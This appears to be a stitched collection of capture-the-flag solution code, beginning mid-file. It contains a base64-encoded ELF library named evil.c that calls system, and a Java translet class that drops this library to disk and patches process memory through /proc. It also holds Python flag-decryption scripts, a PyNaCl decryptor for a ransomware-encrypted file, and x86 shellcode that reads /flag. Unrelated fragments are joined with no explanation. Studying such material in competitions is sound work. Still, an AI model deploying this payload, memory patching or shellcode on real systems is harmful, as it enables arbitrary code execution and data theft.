AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAAAAAAAAAAAAAAAAAAPAQAAAAAAAAAQAAAAAAAABtAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAHgRAAAAAAAAGQAAAAAAAAAIPgAAAAAAABsAAAAAAAAAEAAAAAAAAAAaAAAAAAAAABg+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAA8AIAAAAAAAAFAAAAAAAAANgDAAAAAAAABgAAAAAAAAAYAwAAAAAAAAoAAAAAAAAAgwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAMAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABQBQAAAAAAAAcAAAAAAAAAkAQAAAAAAAAIAAAAAAAAAMAAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAcAQAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAABcBAAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBAAAAAAAABAEAAAAAAAAChAAAAAAAAAR0NDOiAoVWJ1bnR1IDkuNC4wLTF1YnVudHUxfjIwLjA0LjEpIDkuNC4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQCoAgAAAAAAAAAAAAAAAAAAAAAAAAMAAgDIAgAAAAAAAAAAAAAAAAAAAAAAAAMAAwDwAgAAAAAAAAAAAAAAAAAAAAAAAAMABAAYAwAAAAAAAAAAAAAAAAAAAAAAAAMABQDYAwAAAAAAAAAAAAAAAAAAAAAAAAMABgBcBAAAAAAAAAAAAAAAAAAAAAAAAAMABwBwBAAAAAAAAAAAAAAAAAAAAAAAAAMACACQBAAAAAAAAAAAAAAAAAAAAAAAAAMACQBQBQAAAAAAAAAAAAAAAAAAAAAAAAMACgAAEAAAAAAAAAAAAAAAAAAAAAAAAAMACwAgEAAAAAAAAAAAAAAAAAAAAAAAAAMADABQEAAAAAAAAAAAAAAAAAAAAAAAAAMADQBgEAAAAAAAAAAAAAAAAAAAAAAAAAMADgCAEAAAAAAAAAAAAAAAAAAAAAAAAAMADwB4EQAAAAAAAAAAAAAAAAAAAAAAAAMAEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEQBUIAAAAAAAAAAAAAAAAAAAAAAAAAMAEgCAIAAAAAAAAAAAAAAAAAAAAAAAAAMAEwAIPgAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYPgAAAAAAAAAAAAAAAAAAAAAAAAMAFQAgPgAAAAAAAAAAAAAAAAAAAAAAAAMAFgDgPwAAAAAAAAAAAAAAAAAAAAAAAAMAFwAAQAAAAAAAAAAAAAAAAAAAAAAAAAMAGAAoQAAAAAAAAAAAAAAAAAAAAAAAAAMAGQAwQAAAAAAAAAAAAAAAAAAAAAAAAAMAGgAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAIADgCAEAAAAAAAAAAAAAAAAAAADgAAAAIADgCwEAAAAAAAAAAAAAAAAAAAIQAAAAIADgDwEAAAAAAAAAAAAAAAAAAANwAAAAEAGQAwQAAAAAAAAAEAAAAAAAAARgAAAAEAFAAYPgAAAAAAAAAAAAAAAAAAbQAAAAIADgAwEQAAAAAAAAAAAAAAAAAAeQAAAAEAEwAIPgAAAAAAAAAAAAAAAAAAmAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAnwAAAAEAEgAQIQAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArQAAAAIADwB4EQAAAAAAAAAAAAAAAAAAswAAAAEAGAAoQAAAAAAAAAAAAAAAAAAAwAAAAAEAFQAgPgAAAAAAAAAAAAAAAAAAyQAAAAAAEQBUIAAAAAAAAAAAAAAAAAAA3AAAAAEAGAAwQAAAAAAAAAAAAAAAAAAA6AAAAAEAFwAAQAAAAAAAAAAAAAAAAAAA/gAAAAIACgAAEAAAAAAAAAAAAAAAAAAABAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMgEAABIAAAAAAAAAAAAAAAAAAAAAAAAARgEAACAAAAAAAAAAAAAAAAAAAAAAAAAAVQEAABIADgA5EQAAAAAAAD4AAAAAAAAAYQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAewEAACIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC44MDYxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBldmlsLmMAX19GUkFNRV9FTkRfXwBfZmluaQBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfaW5pdABfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAcHV0c0BAR0xJQkNfMi4yLjUAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBiZWZvcmVfbWFpbgBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUucHJvcGVydHkALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnBsdC5zZWMALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAC4AAAAHAAAAAgAAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABBAAAA9v//bwIAAAAAAAAA8AIAAAAAAADwAgAAAAAAACQAAAAAAAAABAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAASwAAAAsAAAACAAAAAAAAABgDAAAAAAAAGAMAAAAAAADAAAAAAAAAAAUAAAABAAAACAAAAAAAAAAYAAAAAAAAAFMAAAADAAAAAgAAAAAAAADYAwAAAAAAANgDAAAAAAAAgwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABbAAAA////bwIAAAAAAAAAXAQAAAAAAABcBAAAAAAAABAAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAaAAAAP7//28CAAAAAAAAAHAEAAAAAAAAcAQAAAAAAAAgAAAAAAAAAAUAAAABAAAACAAAAAAAAAAAAAAAAAAAAHcAAAAEAAAAAgAAAAAAAACQBAAAAAAAAJAEAAAAAAAAwAAAAAAAAAAEAAAAAAAAAAgAAAAAAAAAGAAAAAAAAACBAAAABAAAAEIAAAAAAAAAUAUAAAAAAABQBQAAAAAAADAAAAAAAAAABAAAABcAAAAIAAAAAAAAABgAAAAAAAAAiwAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAbAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIYAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACRAAAAAQAAAAYAAAAAAAAAUBAAAAAAAABQEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAmgAAAAEAAAAGAAAAAAAAAGAQAAAAAAAAYBAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAKMAAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAA9wAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAYAAAAAAAAAeBEAAAAAAAB4EQAAAAAAAA0AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAArwAAAAEAAAACAAAAAAAAAAAgAAAAAAAAACAAAAAAAABTAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALcAAAABAAAAAgAAAAAAAABUIAAAAAAAAFQgAAAAAAAALAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAADFAAAAAQAAAAIAAAAAAAAAgCAAAAAAAACAIAAAAAAAAJQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzwAAAA4AAAADAAAAAAAAAAg+AAAAAAAACC4AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANsAAAAPAAAAAwAAAAAAAAAYPgAAAAAAABguAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADnAAAABgAAAAMAAAAAAAAAID4AAAAAAAAgLgAAAAAAAMABAAAAAAAABQAAAAAAAAAIAAAAAAAAABAAAAAAAAAAlQAAAAEAAAADAAAAAAAAAOA/AAAAAAAA4C8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPAAAAABAAAAAwAAAAAAAAAAQAAAAAAAAAAwAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAD5AAAAAQAAAAMAAAAAAAAAKEAAAAAAAAAoMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA/wAAAAgAAAADAAAAAAAAADBAAAAAAAAAMDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAQBAAABAAAAMAAAAAAAAAAAAAAAAAAAADAwAAAAAAAAKwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABgMAAAAAAAAPgEAAAAAAAAHAAAAC4AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAWDUAAAAAAACXAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAO82AAAAAAAADQEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=";
        byte[] decoded = Base64.getDecoder().decode(evilSo);
        try{
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(decoded);
            fileOutputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    long findLibraryBaseAddress(String libname) throws Exception{
        long libMemeryAddress = 0L;
        mapsFile.seek(0);
        String line;
        while((line = mapsFile.readLine()) != null) {
            if (line.contains(libname)) {
                String[] address = line.split("-");
                libMemeryAddress = Long.valueOf(address[0], 16);
                break;
            }
        }
        return libMemeryAddress;
    }

    void patchMemory(long address, byte[] patchBytes) throws Exception {
        memFile.seek(address);
        memFile.write(patchBytes);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

import binascii

out = binascii.unhexlify("3edd7925cd6e04ab44f25bef57bc53bd20b74b8c11f893090fdcdfddad0709100100fe6a9230333234fbae")
key2 = 159
in_text = [0]*43

for i in range(42, 18, -1):
    key2 = key2 ^ out[i]
    in_text[i] = (out[i] - key2) % 0x100

key1 = 0xAA
for i in range(0, 19):
    next_key1 = out[i]
    in_text[i] = (next_key1 - 0x33 - key1) % 0x100
    key1 = next_key1

print(bytes(in_text).decode())

## AES decrypt --------------------------------------------------------------------------

nb = 4  # number of coloumn of State (for AES = 4)
nr = 10  # number of rounds ib ciper cycle (if nb = 4 nr = 10)
nk = 4  # the key length (in 32-bit words)

# This dict will be used in SubBytes().
hex_symbols_to_int = {'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15}

sbox = [
    252, 161, 193, 55, 59, 67, 21, 222, 126, 36, 34, 234, 98, 194, 159, 143, 160, 61, 240, 5, 169, 123, 116, 80, 185,
    113, 88, 15, 225, 33, 176, 133, 37, 141, 106, 151, 145, 63, 173, 109, 183, 180, 208, 44, 12, 86, 122, 171, 10, 91,
    131, 197, 214, 82, 182, 136, 192, 196, 95, 146, 188, 226, 26, 77, 118, 31, 137, 28, 35, 223, 202, 96, 224, 23, 54,
    117, 167, 158, 20, 90, 2, 70, 74, 17, 47, 139, 244, 51, 242, 110, 114, 165, 199, 227, 218, 56, 83, 155, 135, 9, 1,
    75, 164, 66, 46, 231, 58, 132, 18, 127, 7, 190, 200, 201, 19, 71, 254, 209, 172, 246, 241, 168, 150, 178, 198, 24,
    251, 212, 130, 22, 115, 100, 94, 125, 239, 14, 174, 162, 11, 48, 247, 221, 166, 41, 108, 220, 152, 250, 189, 103,
    213, 216, 175, 81, 228, 191, 101, 29, 248, 206, 156, 38, 243, 42, 154, 69, 8, 92, 87, 6, 84, 43, 65, 112, 177, 99,
    102, 60, 68, 16, 49, 25, 134, 97, 107, 215, 121, 203, 129, 105, 13, 210, 255, 45, 64, 3, 144, 157, 233, 76, 205, 0,
    229, 128, 219, 186, 207, 72, 217, 62, 253, 79, 238, 142, 78, 119, 163, 181, 93, 50, 230, 104, 39, 170, 232, 85, 245,
    204, 120, 111, 211, 147, 124, 40, 153, 52, 179, 4, 149, 73, 237, 138, 249, 30, 184, 195, 140, 89, 235, 236, 53, 57,
    187, 27, 148, 32
]

inv_sbox = [
]

rcon = [[0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
        [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
]


def encrypt(input_bytes, key):
    """Function encrypts the input_bytes according to AES(128) algorithm using the key
    Args:
       input_bytes -- list of int less than 255, ie list of bytes. Length of input_bytes is constantly 16
       key -- a strig of plain text. Do not forget it! The same string is used in decryption
    Returns:
        List of int
    """

    # let's prepare our enter data: State array and KeySchedule
    state = [[] for j in range(4)]
    for r in range(4):
        for c in range(nb):
            state[r].append(input_bytes[r + 4 * c])

    key_schedule = key_expansion(key)

    state = add_round_key(state, key_schedule)

    for rnd in range(1, nr):
        state = sub_bytes(state)
        state = shift_rows(state)
        state = mix_columns(state)
        state = add_round_key(state, key_schedule, rnd)

    state = sub_bytes(state)
    state = shift_rows(state)
    state = add_round_key(state, key_schedule, rnd + 1)

    output = [None for i in range(4 * nb)]
    for r in range(4):
        for c in range(nb):
            output[r + 4 * c] = state[r][c]

    return output


def decrypt(cipher, key):
    """Function decrypts the cipher according to AES(128) algorithm using the key
    Args:
       cipher -- list of int less than 255, ie list of bytes
       key -- a strig of plain text. Do not forget it! The same string is used in decryption
    Returns:
        List of int
    """

    # let's prepare our algorithm enter data: State array and KeySchedule
    state = [[] for i in range(nb)]
    for r in range(4):
        for c in range(nb):
            state[r].append(cipher[r + 4 * c])

    key_schedule = key_expansion(key)

    state = add_round_key(state, key_schedule, nr)

    rnd = nr - 1
    while rnd >= 1:
        state = shift_rows(state, inv=True)
        state = sub_bytes(state, inv=True)
        state = add_round_key(state, key_schedule, rnd)
        state = mix_columns(state, inv=True)

        rnd -= 1

    state = shift_rows(state, inv=True)
    state = sub_bytes(state, inv=True)
    state = add_round_key(state, key_schedule, rnd)

    output = [None for i in range(4 * nb)]
    for r in range(4):
        for c in range(nb):
            output[r + 4 * c] = state[r][c]

    return output


def sub_bytes(state, inv=False):
    """That transformation replace every element from State on element from Sbox
    according the algorithm: in hexadecimal notation an element from State
    consist of two values: 0x<val1><val2>. We take elem from crossing
    val1-row and val2-column in Sbox and put it instead of the element in State.
    If decryption-transformation is on (inv == True) it uses InvSbox instead Sbox.
    Args:
        inv -- If value == False means function is encryption-transformation.
               True - decryption-transformation
    """

    if inv == False:  # encrypt
        box = sbox
    else:  # decrypt
        box = inv_sbox

    for i in range(len(state)):
        for j in range(len(state[i])):
            row = state[i][j] // 0x10
            col = state[i][j] % 0x10

            # Our Sbox is a flat array, not a bable. So, we use this trich to find elem:
            # And DO NOT change list sbox! if you want it to work
            box_elem = box[16 * row + col]
            state[i][j] = box_elem

    return state


def shift_rows(state, inv=False):
    """That transformation shifts rows of State: the second rotate over 1 bytes,
    the third rotate over 2 bytes, the fourtg rotate over 3 bytes. The transformation doesn't
    touch the first row. When encrypting transformation uses left shift, in decription - right shift
    Args:
        inv: If value == False means function is encryption mode. True - decryption mode
    """

    count = 1

    if inv == False:  # encrypting
        for i in range(1, nb):
            state[i] = left_shift(state[i], count)
            count += 1
    else:  # decryptionting
        for i in range(1, nb):
            state[i] = right_shift(state[i], count)
            count += 1

    return state


def mix_columns(state, inv=False):
    """When encrypting transformation multiplyes every column of State with
    a fixed polinomial a(x) = {03}x**3 + {01}x**2 + {01}x + {02} in Galua field.
    When decrypting multiplies with a'(x) = {0b}x**3 + {0d}x**2 + {09}x + {0e}
    Detailed information in AES standart.
    Args:
        inv: If value == False means function is encryption mode. True - decryption mode
    """

    for i in range(nb):

        if inv == False:  # encryption
            s0 = mul_by_02(state[0][i]) ^ mul_by_03(state[1][i]) ^ state[2][i] ^ state[3][i]
            s1 = state[0][i] ^ mul_by_02(state[1][i]) ^ mul_by_03(state[2][i]) ^ state[3][i]
            s2 = state[0][i] ^ state[1][i] ^ mul_by_02(state[2][i]) ^ mul_by_03(state[3][i])
            s3 = mul_by_03(state[0][i]) ^ state[1][i] ^ state[2][i] ^ mul_by_02(state[3][i])
        else:  # decryption
            s0 = mul_by_0e(state[0][i]) ^ mul_by_0b(state[1][i]) ^ mul_by_0d(state[2][i]) ^ mul_by_09(state[3][i])
            s1 = mul_by_09(state[0][i]) ^ mul_by_0e(state[1][i]) ^ mul_by_0b(state[2][i]) ^ mul_by_0d(state[3][i])
            s2 = mul_by_0d(state[0][i]) ^ mul_by_09(state[1][i]) ^ mul_by_0e(state[2][i]) ^ mul_by_0b(state[3][i])
            s3 = mul_by_0b(state[0][i]) ^ mul_by_0d(state[1][i]) ^ mul_by_09(state[2][i]) ^ mul_by_0e(state[3][i])

        state[0][i] = s0
        state[1][i] = s1
        state[2][i] = s2
        state[3][i] = s3

    return state


def key_expansion(key):
    """It makes list of RoundKeys for function AddRoundKey. All details
    about algorithm is is in AES standart
    """

    # key_symbols = [ord(symbol) for symbol in key]
    key_symbols = [symbol for symbol in key]

    # ChipherKey shoul contain 16 symbols to fill 4*4 table. If it's less
    # complement the key with "0x01"
    if len(key_symbols) < 4 * nk:
        for i in range(4 * nk - len(key_symbols)):
            key_symbols.append(0x01)

    # make ChipherKey(which is base of KeySchedule)
    key_schedule = [[] for i in range(4)]
    for r in range(4):
        for c in range(nk):
            key_schedule[r].append(key_symbols[r + 4 * c])

    # Comtinue to fill KeySchedule
    for col in range(nk, nb * (nr + 1)):  # col - column number
        if col % nk == 0:
            # take shifted (col - 1)th column...
            tmp = [key_schedule[row][col - 1] for row in range(1, 4)]
            tmp.append(key_schedule[0][col - 1])

            # change its elements using Sbox-table like in SubBytes...
            for j in range(len(tmp)):
                sbox_row = tmp[j] // 0x10
                sbox_col = tmp[j] % 0x10
                sbox_elem = sbox[16 * sbox_row + sbox_col]
                tmp[j] = sbox_elem

            # and finally make XOR of 3 columns
            for row in range(4):
                s = (key_schedule[row][col - 4]) ^ (tmp[row]) ^ (rcon[row][int(col / nk - 1)])
                key_schedule[row].append(s)

        else:
            # just make XOR of 2 columns
            for row in range(4):
                s = key_schedule[row][col - 4] ^ key_schedule[row][col - 1]
                key_schedule[row].append(s)

    return key_schedule


def add_round_key(state, key_schedule, round=0):
    """That transformation combines State and KeySchedule together. Xor
    of State and RoundSchedule(part of KeySchedule).
    """

    for col in range(nk):
        # nb*round is a shift which indicates start of a part of the KeySchedule
        s0 = state[0][col] ^ key_schedule[0][nb * round + col]
        s1 = state[1][col] ^ key_schedule[1][nb * round + col]
        s2 = state[2][col] ^ key_schedule[2][nb * round + col]
        s3 = state[3][col] ^ key_schedule[3][nb * round + col]

        state[0][col] = s0
        state[1][col] = s1
        state[2][col] = s2
        state[3][col] = s3

    return state


# Small helpful functions block

def left_shift(array, count):
    """Rotate the array over count times"""

    res = array[:]
    for i in range(count):
        temp = res[1:]
        temp.append(res[0])
        res[:] = temp[:]

    return res


def right_shift(array, count):
    """Rotate the array over count times"""

    res = array[:]
    for i in range(count):
        tmp = res[:-1]
        tmp.insert(0, res[-1])
        res[:] = tmp[:]

    return res


def mul_by_02(num):
    """The function multiplies by 2 in Galua space"""

    if num < 0x80:
        res = (num << 1)
    else:
        res = (num << 1) ^ 0x1b

    return res % 0x100


def mul_by_03(num):
    """The function multiplies by 3 in Galua space
    example: 0x03*num = (0x02 + 0x01)num = num*0x02 + num
    Addition in Galua field is oparetion XOR
    """
    return (mul_by_02(num) ^ num)


def mul_by_09(num):
    # return mul_by_03(num)^mul_by_03(num)^mul_by_03(num) - works wrong, I don't know why
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ num


def mul_by_0b(num):
    # return mul_by_09(num)^mul_by_02(num)
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(num) ^ num


def mul_by_0d(num):
    # return mul_by_0b(num)^mul_by_02(num)
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(mul_by_02(num)) ^ num


def mul_by_0e(num):
    # return mul_by_0d(num)^num
    return mul_by_02(mul_by_02(mul_by_02(num))) ^ mul_by_02(mul_by_02(num)) ^ mul_by_02(num)

# End of small helpful functions block


def calc_inv_sbox():
    global inv_sbox
    inv_sbox = [0] * 256

    for i in range(16):
        for j in range(16):
            v = sbox[i * 16 + j]
            vj = v & 0xF
            vi = (v >> 4) & 0xF
            inv_sbox[vi * 16 + vj] = i * 16 + j

calc_inv_sbox()

def listxorlist(l1, l2):
    assert len(l1) == len(l2)
    for i in range(len(l1)):
        l1[i] ^= l2[i]

# Decrypt

aeskey = list(b"1a63213c367a0728")
iv = list(b"511389d8e09e3118")

for i in range(16):
    aeskey[i] ^= 0x55
    iv[i] ^= 0xCC

r1 = [236, 185, 246, 163, 153, 151, 10, 6, 158, 100, 46, 1, 187, 21, 192, 60]
r2 = [43, 105, 146, 250, 247, 128, 5, 144, 120, 244, 104, 86, 196, 110, 188, 85]

t2 = decrypt(r2, bytes(aeskey))
listxorlist(t2, r1)
t1 = decrypt(r1, bytes(aeskey))
listxorlist(t1, iv)

print(b"aliyunctf{"+bytes(t1)+bytes(t2)+b"}")

from nacl.public import PrivateKey, Box, SealedBox

    with open("HRW", "rb") as fp:
    header = fp.read()
    with open("flag.jpg.UCryNow", "rb") as fp:
    data = fp.read()

    victim_sk = PrivateKey(bytes.fromhex("... <上面得到的 key> ...")[16:])
    epk, tag = header[16:-16], header[-16:]
    cipher = SealedBox(victim_sk)
    with open("flag.jpg", "wb") as fp:
    fp.write(cipher.decrypt(epk+tag+data))

const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
